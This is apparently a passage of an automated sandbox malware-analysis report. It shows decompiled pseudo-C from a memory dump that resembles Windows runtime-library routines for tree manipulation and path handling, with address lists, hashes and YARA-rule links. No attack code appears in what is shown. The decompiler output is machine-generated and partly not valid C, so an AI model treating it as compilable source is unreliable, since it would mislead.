																														_t452 = _t452 ^ _t423;
																													}
																													if(_t452 == 0) {
																														goto L160;
																													}
																													_t348 =  *(_t452 + 4);
																													if(_t444 != 0) {
																														if(_t348 != 0) {
																															_t348 = _t348 ^ _t452;
																														}
																													}
																													if(_t348 == _t423) {
																														if(_t444 != 0) {
																															_t350 = _t452 ^ _t426;
																														} else {
																															_t350 = _t426;
																														}
																														 *(_t452 + 4) = _t350;
																														goto L93;
																													} else {
																														_t351 =  *_t452;
																														if(_t444 != 0) {
																															if(_t351 != 0) {
																																_t351 = _t351 ^ _t452;
																															}
																														}
																														if(_t351 != _t423) {
																															goto L174;
																														} else {
																															if(_t444 != 0) {
																																_t353 = _t452 ^ _t426;
																															} else {
																																_t353 = _t426;
																															}
																															 *_t452 = _t353;
																															goto L93;
																														}
																													}
																												}
																											}
																										}
																										_t328 = _t328 ^ _t444;
																									}
																									if(_t328 != 0) {
																										_t475 =  *(_t328 + 8);
																										_v20 = _t475;
																										_t452 = _t475 & 0xfffffffc;
																										if(_t407 != 0) {
																											if(_t452 != 0) {
																												_t452 = _t452 ^ _t328;
																											}
																										}
																										if(_t452 != _t444) {
																											goto L174;
																										} else {
																											if(_t407 != 0) {
																												_t477 = _t328 ^ _t426;
																											} else {
																												_t477 = _t426;
																											}
																											_v20 = _v20 & 0x00000003;
																											_v20 = _v20 | _t477;
																											 *(_t328 + 8) = _v20;
																											goto L74;
																										}
																									}
																									goto L74;
																								}
																							}
																							_t464 = _t423;
																							goto L72;
																						}
																					}
																				}
																			}
																		}
																		_t452 = _t461 ^ _t426;
																	}
																	if(_t452 == 0 || ( *(_t452 + 8) & 0x00000001) == 0) {
																		goto L59;
																	} else {
																		goto L80;
																	}
																}
															}
															L21:
															_t457 =  *(_t426 + 4);
															if(_t457 != 0) {
																if(_t307 != 0) {
																	_t457 = _t457 ^ _t426;
																}
																if(( *(_t457 + 8) & 0x00000001) == 0) {
																	goto L22;
																} else {
																	goto L56;
																}
															}
															L22:
															_t308 =  *(_t423 + 8);
															if((_t308 & 0x00000001) == 0) {
																 *(_t426 + 8) =  *(_t426 + 8) | 0x00000001;
																_t306 =  *(_t395 + 4);
																_t431 =  *(_t423 + 8) & 0xfffffffc;
																_t397 = _t306 & 0x00000001;
																if(_t397 != 0) {
																	if(_t431 == 0) {
																		goto L110;
																	}
																	_t423 = _t423 ^ _t431;
																	L111:
																	if(_t423 == 0) {
																		goto L24;
																	}
																	_t432 =  *(_t423 + 4);
																	if(_t397 != 0) {
																		if(_t432 != 0) {
																			_t432 = _t432 ^ _t423;
																		}
																	}
																	_v16 = 0 | _t432 == _t446;
																	_t395 = _a4;
																	goto L17;
																}
																L110:
																_t423 = _t431;
																goto L111;
															} else {
																_t306 = _t308 & 0x000000fe;
																 *(_t423 + 8) = _t306;
																 *(_t426 + 8) =  *(_t426 + 8) | 0x00000001;
																goto L24;
															}
														}
														L18:
														_t426 = _t452;
														goto L19;
													}
												}
												L13:
												_t306 = _t426;
												goto L14;
											}
										}
									}
									L41:
									_t366 = _v12;
									_v20 = _t452;
									goto L42;
								}
								L37:
								_t483 = _v24;
								goto L38;
							}
						}
					}
					L28:
					_t428 = _t452;
					goto L29;
				}
				_t385 = _v5;
				_t422 =  *(_t444 + 8) & 0xfffffffc;
				if(_t385 != 0) {
					if(_t422 != 0) {
						_t422 = _t422 ^ _t444;
					}
				}
				_v12 = _t444;
				if(_t422 == 0) {
					if(_t426 != 0) {
						 *(_t426 + 8) =  *(_t426 + 8) & 0x00000000;
					}
					_t425 = _a4;
					if( *_t425 != _t444) {
						goto L174;
					} else {
						_t425[4] = _t426;
						_t306 = _t425[4] & 0x00000001;
						if(_t306 != 0) {
							_t425[4] = _t425[4] | 0x00000001;
						}
						 *_t425 = _t426;
						goto L24;
					}
				} else {
					_t452 =  *(_t422 + 4);
					if(_t385 != 0) {
						if(_t452 != 0) {
							_t452 = _t452 ^ _t422;
						}
					}
					if(_t452 == _t444) {
						_v16 = 1;
						L11:
						_t373 =  *(_t444 + 8);
						goto L12;
					} else {
						_t387 =  *_t422;
						if(_v5 != 0) {
							if(_t387 != 0) {
								_t387 = _t387 ^ _t422;
							}
						}
						if(_t387 != _t444) {
							goto L174;
						} else {
							_t488 = _a4;
							_v16 = _v16 & 0x00000000;
							_t388 =  *(_t488 + 4);
							_v24 = _t388;
							if((_t388 & 0xfffffffe) == _t444) {
								if(_t426 != 0) {
									 *(_t488 + 4) = _t426;
									if((_v24 & 0x00000001) != 0) {
										_t390 = _t426;
										L228:
										 *(_t488 + 4) = _t390 | 0x00000001;
									}
									goto L11;
								}
								 *(_t488 + 4) = _t422;
								if((_v24 & 0x00000001) == 0) {
									goto L11;
								} else {
									_t390 = _t422;
									goto L228;
								}
							}
							goto L11;
						}
					}
				}
			}

0x1e0ff90b
0x1e0ff911
0x1e0ff917
0x1e0ff919
0x1e0ff91c
0x1e155d63
0x1e155d69
0x1e155d69
0x1e155d63
0x1e0ff922
0x1e0ff927
0x1e155d72
0x1e155d78
0x1e155d78
0x1e155d72
0x1e0ff92d
0x1e0ff931
0x1e0ffa2d
0x1e0ffa2d
0x1e0ff939
0x1e0ff940
0x1e0ff944
0x1e0ffa37
0x1e0ffa39
0x1e0ffa3c
0x1e0ffa3e
0x1e0ffa41
0x1e0ffa48
0x1e0ffe68
0x1e0ffe6c
0x1e0ffe6c
0x1e0ffe78
0x1e0ffe78
0x1e0ffe7a
0x1e0ffe7a
0x1e0ffe7e
0x1e0ffe6e
0x1e0ffe6e
0x1e0ffe72
0x00000000
0x00000000
0x00000000
0x1e0ffe80
0x1e0ffe80
0x1e0ffe83
0x00000000
0x1e0ffe83
0x1e155d7f
0x1e155d81
0x00000000
0x00000000
0x1e155d87
0x00000000
0x1e155d87
0x1e0ffa4e
0x1e0ffa50
0x1e155d90
0x00000000
0x00000000
0x1e155d98
0x1e0ffa58
0x1e0ffa58
0x1e0ffa5d
0x1e0ffa60
0x1e0ffa63
0x1e0ffa69
0x1e0ffa6b
0x1e0ffa6e
0x1e0ffa71
0x1e155da1
0x1e155da7
0x1e155da7
0x1e155da1
0x1e0ffa79
0x1e100071
0x1e100073
0x1e100074
0x00000000
0x1e0ffa7f
0x1e0ffa83
0x1e0ffa85
0x1e155dae
0x1e155dae
0x1e0ffa8b
0x1e0ffa8f
0x1e0ffa98
0x1e0ffaa1
0x1e0ffaa4
0x1e0ffaa6
0x1e0ffaa9
0x1e0ffaac
0x1e155db7
0x1e155dbd
0x1e155dbd
0x1e155db7
0x1e0ffab4
0x00000000
0x1e0ffaba
0x1e0ffabc
0x1e0ffac2
0x1e0ffac5
0x1e0ffac7
0x1e0ffac7
0x1e0ffad6
0x1e0ffad9
0x1e0ffadf
0x1e0ffae2
0x1e0ffae4
0x1e0ffae7
0x1e0ffaea
0x1e0ffaed
0x1e155dc4
0x1e155dc9
0x00000000
0x00000000
0x1e155dcf
0x1e0ffaf6
0x1e0ffafa
0x1e0ffafc
0x1e0ffafc
0x1e0ffafe
0x1e0ffb01
0x1e0ffb09
0x1e0ffb0c
0x1e0ffb12
0x1e0ffb14
0x1e0ffb17
0x1e155dd6
0x1e155dd9
0x1e155dde
0x00000000
0x00000000
0x1e155de4
0x1e155de7
0x1e0ffb29
0x1e0ffb2c
0x1e155df3
0x1e155df6
0x1e155e06
0x1e155e0c
0x1e155e0f
0x1e155e11
0x00000000
0x1e155e1f
0x00000000
0x1e155e1f
0x1e155e11
0x1e155df8
0x1e155dfb
0x1e155e00
0x00000000
0x00000000
0x1e155e02
0x00000000
0x1e155e02
0x1e0ffb32
0x1e0ffb35
0x1e0ffb3c
0x1e155e26
0x1e155e28
0x1e155e28
0x1e155e2e
0x1e155e3c
0x1e155e3c
0x1e155e2e
0x1e0ffb45
0x1e0ffb47
0x1e0ffb53
0x1e0ffb56
0x1e0ffb59
0x1e0ffb5c
0x1e0ffb65
0x1e10000d
0x00000000
0x1e10000f
0x1e10000f
0x00000000
0x1e10000f
0x1e0ffb6b
0x1e0ffb6e
0x1e0ffb71
0x1e0ffb73
0x1e0ffb76
0x1e155e45
0x1e155e4b
0x1e155e4b
0x1e155e45
0x1e0ffb80
0x1e0ffb83
0x1e155e54
0x1e155e5a
0x1e155e5a
0x1e155e54
0x1e0ffb89
0x1e0ffb98
0x1e0ffb9b
0x1e0ffb9e
0x1e0ffba0
0x1e155e63
0x1e155e69
0x1e155e69
0x1e155e63
0x1e0ffba8
0x00000000
0x1e0ffbae
0x1e0ffbb2
0x1e155e70
0x1e0ffbb8
0x1e0ffbb8
0x1e0ffbb8
0x1e0ffbbd
0x1e0ffbbf
0x1e0ffbbf
0x1e0ff9a8
0x1e0ff9a8
0x1e0ff9ad
0x1e0ff9b4
0x1e155eda
0x00000000
0x00000000
0x1e155ee2
0x1e0ff9bc
0x1e0ff9bc
0x1e0ff9bf
0x1e0ff9c4
0x1e0ffde6
0x1e0ffde9
0x1e0ffdec
0x1e0ffdef
0x1e0ffdf2
0x1e155eeb
0x1e155ef1
0x1e155ef1
0x1e155eeb
0x1e0ffdfa
0x00000000
0x1e0ffe00
0x1e0ffe04
0x1e155efa
0x1e155f00
0x1e155f00
0x1e155efa
0x1e0ffe0a
0x1e0ffa24
0x1e0ffa2a
0x1e0ffa2a
0x1e0ffdfa
0x1e0ff9cd
0x00000000
0x1e0ff9cf
0x1e0ff9cf
0x1e0ff9d1
0x1e0ff9d4
0x1e0ff9d7
0x1e0ff9d9
0x1e0ff9dc
0x1e0ff9df
0x1e0ff9e2
0x1e0ff9e7
0x1e155f09
0x00000000
0x00000000
0x1e155f11
0x1e0ff9ef
0x1e0ff9f3
0x1e0ffed5
0x1e0ffed8
0x1e0ffedb
0x1e155f1a
0x1e155f20
0x1e155f20
0x1e155f1a
0x1e0ffee3
0x00000000
0x1e0ffee9
0x1e0ffeeb
0x1e155f29
0x1e155f2f
0x1e155f2f
0x1e155f29
0x1e0ffef3
0x00000000
0x1e0ffef9
0x1e0ffefc
0x1e0fff01
0x1e155f38
0x1e100052
0x1e100054
0x00000000
0x1e100056
0x1e100056
0x1e0fff40
0x1e0fff42
0x1e155f6e
0x1e155f74
0x1e155f74
0x1e155f6e
0x1e0fff50
0x1e0fff56
0x1e0fff5b
0x1e155f7d
0x00000000
0x00000000
0x1e155f83
0x00000000
0x1e0fff61
0x1e0fff61
0x1e0fff63
0x1e100021
0x1e100026
0x1e10002b
0x1e10007e
0x1e100080
0x1e100080
0x1e10007e
0x1e10002f
0x00000000
0x1e100031
0x1e100033
0x1e100086
0x1e100035
0x1e100035
0x1e100035
0x1e10003c
0x00000000
0x1e10003c
0x1e10002f
0x1e0fff69
0x1e0fff6b
0x1e155f8c
0x1e155f92
0x1e155f92
0x1e155f8c
0x1e0fff74
0x1e0fff77
0x1e0fff7b
0x1e155f99
0x1e155f9b
0x1e0fff81
0x1e0fff81
0x1e0fff83
0x1e0fff83
0x1e0fff88
0x1e0fff8b
0x1e0fff90
0x1e0fff92
0x1e0fff92
0x1e0fff9c
0x1e0fffa2
0x1e0fffa6
0x1e0fffaa
0x1e0fffad
0x1e0fffb2
0x1e155fa4
0x1e155faa
0x1e155faa
0x1e155fa4
0x1e0fffb8
0x00000000
0x1e0fffb8
0x1e0fff5b
0x1e100054
0x1e155f3e
0x1e155f3e
0x1e0fff09
0x00000000
0x00000000
0x1e0fff0f
0x1e0fff14
0x1e155f47
0x1e155f4d
0x1e155f4d
0x1e155f47
0x1e0fff1c
0x1e100046
0x1e100076
0x1e100078
0x00000000
0x1e100048
0x1e100048
0x1e10004a
0x1e10004a
0x00000000
0x1e10004a
0x1e0fff22
0x1e0fff22
0x1e0fff26
0x1e155f56
0x1e155f5c
0x1e155f5c
0x1e155f56
0x1e0fff2e
0x00000000
0x1e0fff34
0x1e0fff36
0x1e155f65
0x1e0fff3c
0x1e0fff3c
0x1e0fff3c
0x1e0fff3e
0x00000000
0x1e0fff3e
0x1e0fff2e
0x1e0fff1c
0x1e0ffef3
0x1e0ffee3
0x1e0ff9f9
0x1e0ff9f9
0x1e0ff9fb
0x1e0ff9ff
0x1e0ffbd5
0x1e155fb1
0x1e155fb1
0x1e0ffbdf
0x00000000
0x1e0ffbe5
0x1e0ffbe5
0x1e0ffbe8
0x1e0ffbed
0x1e155fdf
0x1e0ffc01
0x1e0ffc01
0x1e0ffc04
0x1e0ffc09
0x1e155fee
0x1e155ff4
0x1e155ff4
0x1e155fee
0x1e0ffc0f
0x1e0ffc13
0x1e0ffc1d
0x1e0ffc20
0x1e0ffc23
0x1e0ffc26
0x1e0ffc2b
0x1e155ffd
0x1e156003
0x1e156003
0x1e155ffd
0x1e0ffc33
0x00000000
0x1e0ffc39
0x1e0ffc3b
0x1e0ffc3e
0x1e0ffc41
0x1e0ffc46
0x1e15600c
0x1e156012
0x1e156012
0x1e15600c
0x1e0ffc4e
0x00000000
0x1e0ffc54
0x1e0ffc54
0x1e0ffc59
0x1e15601b
0x1e156021
0x1e156021
0x1e15601b
0x1e0ffc61
0x00000000
0x1e0ffc67
0x1e0ffc6a
0x1e0ffc6f
0x1e15602a
0x1e156030
0x1e156030
0x1e15602a
0x1e0ffc77
0x00000000
0x1e0ffc7d
0x1e0ffc7f
0x1e0ffc81
0x1e0ffc85
0x1e0ffc87
0x1e0ffc87
0x1e0ffc8c
0x1e0ffc8f
0x1e0ffc94
0x1e156039
0x1e0ffc9c
0x1e0ffca4
0x1e0ffcaa
0x1e0ffcaf
0x1e156046
0x1e0ffcbd
0x1e0ffcbf
0x1e15606d
0x1e156073
0x1e156073
0x1e15606d
0x1e0ffcc8
0x1e0ffccd
0x1e0ffccf
0x1e0ffcd3
0x1e0ffcd5
0x1e0ffcd5
0x1e0ffcde
0x1e0ffce1
0x1e0ffce3
0x1e0ffce3
0x1e0ffce8
0x1e0ffcf0
0x1e0ffcf2
0x1e0ffcf5
0x1e0ffcf7
0x1e0ffcff
0x1e0ffd02
0x1e0ffd06
0x1e0ffd11
0x1e0ffd14
0x1e0ffd17
0x1e15607c
0x1e156082
0x1e156082
0x1e15607c
0x1e0ffd1f
0x00000000
0x1e0ffd25
0x1e0ffd28
0x1e0ffd2d
0x1e15608b
0x1e156091
0x1e156091
0x1e15608b
0x1e0ffd35
0x00000000
0x1e0ffd3b
0x1e0ffd3e
0x1e0ffd43
0x1e15609a
0x1e100016
0x1e100018
0x00000000
0x1e10001a
0x1e10001a
0x1e0ffd82
0x1e0ffd84
0x1e1560d9
0x1e1560df
0x1e1560df
0x1e1560d9
0x1e0ffd8d
0x1e0ffd95
0x1e0ffd98
0x1e0ffd9d
0x1e1560e8
0x00000000
0x00000000
0x1e1560ee
0x00000000
0x1e0ffda3
0x1e0ffda3
0x1e0ffda5
0x1e0ffe8b
0x1e0ffe90
0x1e0ffe95
0x1e1560f7
0x1e1560fd
0x1e1560fd
0x1e1560f7
0x1e0ffe9d
0x00000000
0x1e0ffea3
0x1e0ffea5
0x1e156106
0x1e0ffeab
0x1e0ffeab
0x1e0ffeab
0x1e0ffeb2
0x1e0ffeb5
0x00000000
0x1e0ffeb5
0x1e0ffe9d
0x1e0ffdab
0x1e0ffdad
0x1e15610f
0x1e156115
0x1e156115
0x1e15610f
0x1e0ffdb6
0x1e0ffdbb
0x1e15611e
0x1e156120
0x1e0ffdc1
0x1e0ffdc1
0x1e0ffdc5
0x1e0ffdc5
0x1e0ffdc7
0x1e0ffdcc
0x1e0ffdce
0x1e0ffdce
0x1e0ffdd6
0x1e0ffdd8
0x00000000
0x1e0ffdd8
0x1e0ffd9d
0x1e100018
0x1e1560a0
0x1e1560a0
0x1e0ffd4b
0x00000000
0x00000000
0x1e0ffd51
0x1e0ffd56
0x1e1560a9
0x1e1560af
0x1e1560af
0x1e1560a9
0x1e0ffd5e
0x1e0ffebf
0x1e1560b8
0x1e0ffec5
0x1e0ffec5
0x1e0ffec5
0x1e0ffec7
0x00000000
0x1e0ffd64
0x1e0ffd64
0x1e0ffd68
0x1e1560c1
0x1e1560c7
0x1e1560c7
0x1e1560c1
0x1e0ffd70
0x00000000
0x1e0ffd76
0x1e0ffd78
0x1e1560d0
0x1e0ffd7e
0x1e0ffd7e
0x1e0ffd7e
0x1e0ffd80
0x00000000
0x1e0ffd80
0x1e0ffd70
0x1e0ffd5e
0x1e0ffd35
0x1e0ffd1f
0x1e15604c
0x1e15604c
0x1e0ffcb7
0x1e0fffc0
0x1e0fffc3
0x1e0fffc6
0x1e0fffcb
0x1e156055
0x1e15605b
0x1e15605b
0x1e156055
0x1e0fffd3
0x00000000
0x1e0fffd9
0x1e0fffdb
0x1e156064
0x1e0fffe1
0x1e0fffe1
0x1e0fffe1
0x1e0fffe3
0x1e0fffe7
0x1e0fffed
0x00000000
0x1e0fffed
0x1e0fffd3
0x00000000
0x1e0ffcb7
0x1e15603f
0x1e0ffc9a
0x00000000
0x1e0ffc9a
0x1e0ffc77
0x1e0ffc61
0x1e0ffc4e
0x1e0ffc33
0x1e155fe5
0x1e155fe5
0x1e0ffbf5
0x00000000
0x00000000
0x00000000
0x00000000
0x1e0ffbf5
0x1e0ffbdf
0x1e0ffa05
0x1e0ffa05
0x1e0ffa0a
0x1e0ffe14
0x1e155fb8
0x1e155fb8
0x1e0ffe1e
0x00000000
0x1e0ffe24
0x00000000
0x1e0ffe24
0x1e0ffe1e
0x1e0ffa10
0x1e0ffa10
0x1e0ffa15
0x1e0ffe29
0x1e0ffe2d
0x1e0ffe35
0x1e0ffe38
0x1e0ffe3b
0x1e155fc1
0x00000000
0x00000000
0x1e155fc7
0x1e0ffe43
0x1e0ffe45
0x00000000
0x00000000
0x1e0ffe4b
0x1e0ffe50
0x1e155fd0
0x1e155fd6
0x1e155fd6
0x1e155fd0
0x1e0ffe5d
0x1e0ffe60
0x00000000
0x1e0ffe60
0x1e0ffe41
0x1e0ffe41
0x00000000
0x1e0ffa1b
0x1e0ffa1b
0x1e0ffa1d
0x1e0ffa20
0x00000000
0x1e0ffa20
0x1e0ffa15
0x1e0ff9ed
0x1e0ff9ed
0x00000000
0x1e0ff9ed
0x1e0ff9cd
0x1e0ff9ba
0x1e0ff9ba
0x00000000
0x1e0ff9ba
0x1e0ffba8
0x1e0ffb65
0x1e0ffb1d
0x1e0ffb23
0x1e0ffb26
0x00000000
0x1e0ffb26
0x1e0ffaf3
0x1e0ffaf3
0x00000000
0x1e0ffaf3
0x1e0ffab4
0x1e0ffa79
0x1e0ffa56
0x1e0ffa56
0x00000000
0x1e0ffa56
0x1e0ff94d
0x1e0ff950
0x1e0ff955
0x1e155e79
0x1e155e7f
0x1e155e7f
0x1e155e79
0x1e0ff95b
0x1e0ff960
0x1e155e88
0x1e155e8a
0x1e155e8a
0x1e155e8e
0x1e155e93
0x00000000
0x1e155e99
0x1e155e9c
0x1e155e9f
0x1e155ea1
0x1e155ea3
0x1e155ea3
0x1e155ea7
0x00000000
0x1e155ea7
0x1e0ff966
0x1e0ff966
0x1e0ff96b
0x1e155eb0
0x1e155eb6
0x1e155eb6
0x1e155eb0
0x1e0ff973
0x1e0ffbc7
0x1e0ff9a5
0x1e0ff9a5
0x00000000
0x1e0ff979
0x1e0ff97d
0x1e0ff97f
0x1e155ebf
0x1e155ec5
0x1e155ec5
0x1e155ebf
0x1e0ff987
0x00000000
0x1e0ff98d
0x1e0ff98d
0x1e0ff990
0x1e0ff994
0x1e0ff997
0x1e0ff99f
0x1e0ffff7
0x1e100061
0x1e100064
0x1e10006a
0x1e155ece
0x1e155ed0
0x1e155ed0
0x00000000
0x1e100064
0x1e0ffffd
0x1e100000
0x00000000
0x1e100006
0x1e155ecc
0x00000000
0x1e155ecc
0x1e100000
0x00000000
0x1e0ff99f
0x1e0ff987
0x1e0ff973

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc66cec98a30fadb5342584c4926ef08b8d30d1ee31ce6150576712f1cb138a4
Instruction ID: ad7fdf97fda4bc07cb970f58f6df15ec7807ed19f84f3fffc23a9192caf4c850
Opcode Fuzzy Hash: fc66cec98a30fadb5342584c4926ef08b8d30d1ee31ce6150576712f1cb138a4
Instruction Fuzzy Hash: 0A62E432E146A2DBCB11CE25865025EBBA3AF46790F29879DCCA4EB349D371D9D187C0

Uniqueness

Uniqueness Score: -1.00%

Function 1E116E30, Relevance: .5, Instructions: 481
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E1E116E30(signed short __ecx, signed short __edx, signed int _a4, intOrPtr* _a8, char* _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				char _v20;
				signed int _v32;
				signed short _v34;
				intOrPtr _v36;
				signed short _v38;
				signed short _v40;
				char _v41;
				signed int _v48;
				short _v50;
				signed int _v52;
				signed short _v54;
				signed int _v56;
				char _v57;
				signed int _v64;
				signed int _v68;
				signed short _v70;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed short _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				unsigned int _v116;
				signed int _v120;
				signed int _v124;
				unsigned int _v128;
				char _v136;
				signed int __ebx;
				signed int __edi;
				signed int __esi;
				void* __ebp;
				signed int _t312;
				signed int _t313;
				char* _t315;
				unsigned int _t316;
				signed int _t317;
				short* _t319;
				void* _t320;
				signed int _t321;
				signed short _t327;
				signed int _t328;
				signed int _t335;
				signed short* _t336;
				signed int _t337;
				signed int _t338;
				signed int _t349;
				signed short _t352;
				signed int _t357;
				signed int _t360;
				signed int _t363;
				void* _t365;
				signed int _t366;
				signed short* _t367;
				signed int _t369;
				signed int _t375;
				signed int _t379;
				signed int _t384;
				signed int _t386;
				void* _t387;
				signed short _t389;
				intOrPtr* _t392;
				signed int _t397;
				unsigned int _t399;
				signed int _t401;
				signed int _t402;
				signed int _t407;
				void* _t415;
				signed short _t417;
				unsigned int _t418;
				signed int _t419;
				signed int _t420;
				signed int _t422;
				intOrPtr* _t433;
				signed int _t435;
				void* _t436;
				signed int _t437;
				signed int _t438;
				signed int _t440;
				signed short _t443;
				void* _t444;
				signed int _t445;
				signed int _t446;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t452;
				signed int _t453;

				_t425 = __edx;
				_push(0xfffffffe);
				_push(0x1e1cfca8);
				_push(0x1e1417f0);
				_push( *[fs:0x0]);
				_t312 =  *0x1e1ed360;
				_v12 = _v12 ^ _t312;
				_t313 = _t312 ^ _t453;
				_v32 = _t313;
				_push(_t313);
				 *[fs:0x0] =  &_v20;
				_v116 = __edx;
				_t443 = __ecx;
				_v88 = __ecx;
				_t386 = _a4;
				_t433 = _a8;
				_v112 = _t433;
				_t315 = _a12;
				_v64 = _t315;
				_t392 = _a16;
				_v108 = _t392;
				if(_t433 != 0) {
					 *_t433 = 0;
				}
				if(_t315 != 0) {
					 *_t315 = 0;
				}
				if(_t425 > 0xffff) {
					_v116 = 0xffff;
				}
				 *_t392 = 0;
				 *((intOrPtr*)(_t392 + 4)) = 0;
				_t316 =  *_t443 & 0x0000ffff;
				_v104 = _t316;
				_t435 = _t316 >> 1;
				_v120 = _t435;
				if(_t435 == 0) {
					L124:
					_t317 = 0;
					goto L60;
				} else {
					_t319 =  *((intOrPtr*)(_t443 + 4));
					if( *_t319 != 0) {
						_t397 = _t435;
						_t320 = _t319 + _t435 * 2;
						_t425 = _t320 - 2;
						while(_t397 != 0) {
							if( *_t425 == 0x20) {
								_t397 = _t397 - 1;
								_t425 = _t425 - 2;
								continue;
							}
							if(_t397 == 0) {
								goto L124;
							}
							_t321 =  *(_t320 - 2) & 0x0000ffff;
							if(_t321 == 0x5c || _t321 == 0x2f) {
								_v57 = 0;
							} else {
								_v57 = 1;
							}
							_t399 = _v116 >> 1;
							_v92 = _t399;
							_v128 = _t399;
							E1E13FA60(_t386, 0, _v116);
							_v56 = 0;
							_v52 = 0;
							_v50 = _v92 + _v92;
							_v48 = _t386;
							_t327 = E1E1174C0(_t443);
							if(_t327 != 0) {
								_t389 = _t327 >> 0x10;
								_t328 = _t327 & 0x0000ffff;
								_v112 = _t328;
								_t437 = _v64;
								if(_t437 == 0) {
									L122:
									_t438 = _t328 + 8;
									_t401 = _v92;
									if(_t438 >= (_t401 + _t401 & 0x0000ffff)) {
										_t209 = _t438 + 2; // 0xddeeddf0
										_t402 = _t209;
										asm("sbb eax, eax");
										_t317 =  !0xffff & _t402;
									} else {
										E1E129BC6( &_v52, 0x1e0d1080);
										_t425 =  *((intOrPtr*)(_t443 + 4)) + (_t389 >> 1) * 2;
										E1E139377( &_v52,  *((intOrPtr*)(_t443 + 4)) + (_t389 >> 1) * 2, _v112);
										_t317 = _t438;
									}
									goto L60;
								}
								if(_t389 != 0) {
									_t425 = _t389;
									_t335 = E1E1746A7(_t443, _t389, _t437);
									if(_t335 < 0) {
										goto L124;
									}
									if( *_t437 != 0) {
										goto L124;
									}
									_t328 = _v112;
								}
								goto L122;
							} else {
								_t425 = _t443;
								_t336 =  *(_t425 + 4);
								_t407 =  *_t425 & 0x0000ffff;
								if(_t407 < 2) {
									L17:
									if(_t407 < 4 ||  *_t336 == 0 || _t336[1] != 0x3a) {
										_t337 = 5;
									} else {
										if(_t407 < 6) {
											L98:
											_t337 = 3;
											L23:
											 *_v108 = _t337;
											_t409 = 0;
											_v72 = 0;
											_v68 = 0;
											_v64 = 0;
											_v84 = 0;
											_v41 = 0;
											_t445 = 0;
											_v76 = 0;
											_v8 = 0;
											if(_t337 != 2) {
												_t338 = _t337 - 1;
												if(_t338 > 6) {
													L164:
													_t446 = 0;
													_v64 = 0;
													_t439 = _v92;
													goto L59;
												}
												switch( *((intOrPtr*)(_t338 * 4 +  &M1E11749C))) {
													case 0:
														__ecx = 0;
														__eflags = 0;
														_v124 = 0;
														__esi = 2;
														while(1) {
															_v100 = __esi;
															__eflags = __esi - __edi;
															if(__esi >= __edi) {
																break;
															}
															__eax =  *(__edx + 4);
															__eax =  *( *(__edx + 4) + __esi * 2) & 0x0000ffff;
															__eflags = __eax - 0x5c;
															if(__eax == 0x5c) {
																L140:
																__ecx = __ecx + 1;
																_v124 = __ecx;
																__eflags = __ecx - 2;
																if(__ecx == 2) {
																	break;
																}
																L141:
																__esi = __esi + 1;
																continue;
															}
															__eflags = __eax - 0x2f;
															if(__eax != 0x2f) {
																goto L141;
															}
															goto L140;
														}
														__eax = __esi;
														_v80 = __esi;
														__eax =  *(__edx + 4);
														_v68 =  *(__edx + 4);
														__eax = __esi + __esi;
														_v72 = __ax;
														__eax =  *(__edx + 2) & 0x0000ffff;
														_v70 = __ax;
														_v76 = __esi;
														goto L80;
													case 1:
														goto L164;
													case 2:
														__eax = E1E0F52A5(__ecx);
														_v84 = __eax;
														_v41 = 1;
														__eflags = __eax;
														if(__eax == 0) {
															__eax =  *[fs:0x30];
															__ebx =  *(__eax + 0x10);
															__ebx =  *(__eax + 0x10) + 0x24;
														} else {
															__ebx = __eax + 0xc;
														}
														 *(__ebx + 4) =  *( *(__ebx + 4)) & 0x0000ffff;
														__eax = L1E102600( *( *(__ebx + 4)) & 0x0000ffff);
														__si = __ax;
														_v88 =  *(_v88 + 4);
														__ecx =  *( *(_v88 + 4)) & 0x0000ffff;
														__eax = L1E102600( *( *(_v88 + 4)) & 0x0000ffff);
														_v54 = __ax;
														__eflags = __ax - __ax;
														if(__eflags != 0) {
															__cx = __ax;
															L1E174735(__ecx, __edx, __eflags) = 0x3d;
															_v40 = __ax;
															__si = _v54;
															_v38 = __si;
															_v36 = 0x3a;
															 &_v40 =  &_v136;
															E1E13BB40(__ecx,  &_v136,  &_v40) =  &_v52;
															__eax =  &_v136;
															__eax = E1E122010(__ecx, 0,  &_v136,  &_v52);
															__eflags = __eax;
															if(__eax >= 0) {
																__ax = _v52;
																_v56 = __eax;
																__edx = __ax & 0x0000ffff;
																__ecx = __edx;
																__ecx = __edx >> 1;
																_v100 = __ecx;
																__eflags = __ecx - 3;
																if(__ecx <= 3) {
																	L155:
																	__ebx = _v48;
																	L156:
																	_v72 = __ax;
																	goto L119;
																}
																__eflags = __ecx - _v92;
																if(__ecx >= _v92) {
																	goto L155;
																}
																__esi = 0x5c;
																__ebx = _v48;
																 *(__ebx + __ecx * 2) = __si;
																__eax = __edx + 2;
																_v56 = __edx + 2;
																_v52 = __ax;
																goto L156;
															}
															__eflags = __eax - 0xc0000023;
															if(__eax != 0xc0000023) {
																__eax = 0;
																_v52 = __ax;
																_v40 = __si;
																_v38 = 0x5c003a;
																_v34 = __ax;
																__edx =  &_v40;
																__ecx =  &_v52;
																L1E174658(__ecx,  &_v40) = 8;
																_v72 = __ax;
																__ebx = _v48;
																__ax = _v52;
																_v56 = 8;
																goto L119;
															}
															__ax = _v52;
															_v56 = __eax;
															__eax = __ax & 0x0000ffff;
															__eax = (__ax & 0x0000ffff) + 2;
															_v64 = __eax;
															__eflags = __eax - 0xffff;
															if(__eax <= 0xffff) {
																_v72 = __ax;
																__ebx = _v48;
																goto L119;
															}
															__esi = 0;
															_v64 = 0;
															__ebx = _v48;
															__edi = _v92;
															goto L58;
														} else {
															__eax =  *__ebx;
															_v72 =  *__ebx;
															__eax =  *(__ebx + 4);
															_v68 =  *(__ebx + 4);
															__edx =  &_v72;
															__ecx =  &_v52;
															__eax = E1E129BC6(__ecx,  &_v72);
															__ebx = _v48;
															__eax = _v52 & 0x0000ffff;
															_v56 = _v52 & 0x0000ffff;
															L119:
															__eax = 3;
															_v80 = 3;
															__esi = 2;
															_v76 = 2;
